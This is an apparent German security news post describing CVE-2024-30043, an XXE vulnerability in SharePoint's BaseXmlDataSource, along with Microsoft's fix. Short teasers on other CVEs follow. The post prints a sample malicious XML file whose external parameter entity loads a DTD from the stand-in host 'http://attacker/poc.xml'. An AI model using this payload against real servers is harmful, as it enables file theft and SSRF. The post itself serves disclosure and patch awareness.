Schwachstelle in SharePoint: XXE-Angriff ermöglicht Datenexfiltration

Table of Contents

Am 30. Mai 2024 veröffentlichte der Sicherheitsforscher Piotr Bazydło Details zu einer schwerwiegenden Sicherheitslücke in Microsoft SharePoint, die als CVE-2024-30043 bekannt ist. Die XML External Entity (XXE) Schwachstelle betrifft die Klasse Microsoft.SharePoint.WebControls.BaseXmlDataSource, eine abstrakte Basisklasse für Datenquellenobjekte, die zu einer SharePoint-Seite hinzugefügt werden können. Diese Klasse ermöglicht es, Datenquellen spezifisch für eine bestimmte Seite zu definieren. Der kritische Punkt liegt im Execute-Methodenaufruf, der eine URL als Eingabeparameter akzeptiert, welcher auf eine XML-Datei verweist.

Die Schwachstelle wird in zwei Hauptphasen unterteilt: das Abrufen und das Parsen von XML-Daten.

XML-Abruf:

  • Die Methode FetchData wird verwendet, um XML-Daten basierend auf der angegebenen URL abzurufen.
  • Es gibt drei Klassen, die diese Methode implementieren:
  • SoapDataSource: Führt HTTP-SOAP-Anfragen durch.
  • XmlUrlDataSource: Führt anpassbare HTTP-Anfragen durch.
  • SPXmlDataSource: Ruft vorhandene Dateien von der SharePoint-Site ab.

XML-Parsing:

  • Obwohl die DTD-Verarbeitung standardmäßig deaktiviert ist, wird ein XmlSecureResolver verwendet, der das Sicherheitsniveau der XML-Entität festlegt.
  • Der Code liest den Inhalt des XML-Dokuments, wobei eine Schwachstelle in der Art und Weise, wie XmlReader und XmlSecureResolver zusammenarbeiten, ausgenutzt werden kann.

Durch geschickte Manipulation und das Einspeisen einer speziellen XML-Datei kann ein Angreifer die XXE-Schwachstelle ausnutzen, um Dateien mit den Berechtigungen des SharePoint Farm Service-Kontos zu lesen, Server-side Request Forgery (SSRF) Angriffe durchzuführen und NTLM-Relaying zu ermöglichen. Ein Beispiel für eine bösartige XML-Datei könnte wie folgt aussehen:

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY % sp SYSTEM "http://attacker/poc.xml">
%sp;
]>
<a>wat</a>

Durch das Einfügen eines speziellen URL-Formats konnte der Sicherheitsforscher die Sicherheitsvorkehrungen umgehen und einen uneingeschränkten Zugriffspolicy im XmlSecureResolver erreichen, wodurch er Dateien lesen und SSRF-Angriffe durchführen konnte.

Microsoft hat die Schwachstelle gepatcht, indem zusätzliche URL-Parsing-Kontrollen für SPXmlDataSource implementiert und die Nutzung von DTDs durch das XmlTextReader-Objekt verboten wurden. Diese Maßnahmen verhindern, dass Parameterentitäten aufgelöst werden, selbst wenn ein Resolver spezifiziert ist.

Update

Mittlerweile wurde ein Exploit veröffentlicht. Es ist also dringend upzudaten.

Related Posts

SQL Injection Schwachstelle in Mitel MiCollab gefunden

23. Mai 2024 – Mitel hat eine kritische Sicherheitslücke in der NuPoint Unified Messaging (NPM) Komponente von MiCollab entdeckt. Diese Sicherheitslücke (CVE-2024-35286) ermöglicht es einem nicht authentifizierten Angreifer, aufgrund unzureichender Überprüfung von Benutzereingaben, eine SQL Injection Attacke durchzuführen. Ein erfolgreicher Exploit dieser Schwachstelle könnte es einem Angreifer ermöglichen, auf vertrauliche Informationen zuzugreifen und beliebige Datenbank- und Managementoperationen durchzuführen. Dies könnte erhebliche Auswirkungen auf die Vertraulichkeit, Integrität und Verfügbarkeit des Systems haben.

Read More

Schwachstelle in Spring Cloud Data Flow ermöglicht Schreibzugriff auf beliebige Dateien

Eine schwerwiegende Sicherheitslücke wurde in Spring Cloud Data Flow entdeckt, die es einem böswilligen Benutzer ermöglicht, beliebige Dateien auf dem Dateisystem zu schreiben. Diese Schwachstelle CVE-2024-22263 betrifft den Skipper-Server, der in der Lage ist, Upload-Paketanforderungen zu empfangen. Aufgrund unzureichender Überprüfung des Upload-Pfads kann ein Angreifer, der Zugang zur Skipper-Server-API hat, eine manipulierte Upload-Anforderung verwenden, um Dateien an beliebigen Speicherorten auf dem Dateisystem zu platzieren. Dies könnte zur vollständigen Kompromittierung des Servers führen.

Read More

Checkmk check_sftp Lücke: Upload und Download auf beliebige Systempfade möglich

Checkmk hat eine Sicherheitslücke in der Komponente check_sftp behoben, die es Nutzern ermöglichte, beliebige lokale Pfade zum Hoch- und Herunterladen von Dateien zu verwenden. Diese Lücke wurde durch eine interne Überprüfung entdeckt und betrifft die Versionen 2.1.0, 2.2.0, 2.3.0 sowie die inzwischen nicht mehr unterstützte Version 2.0.0.

Read More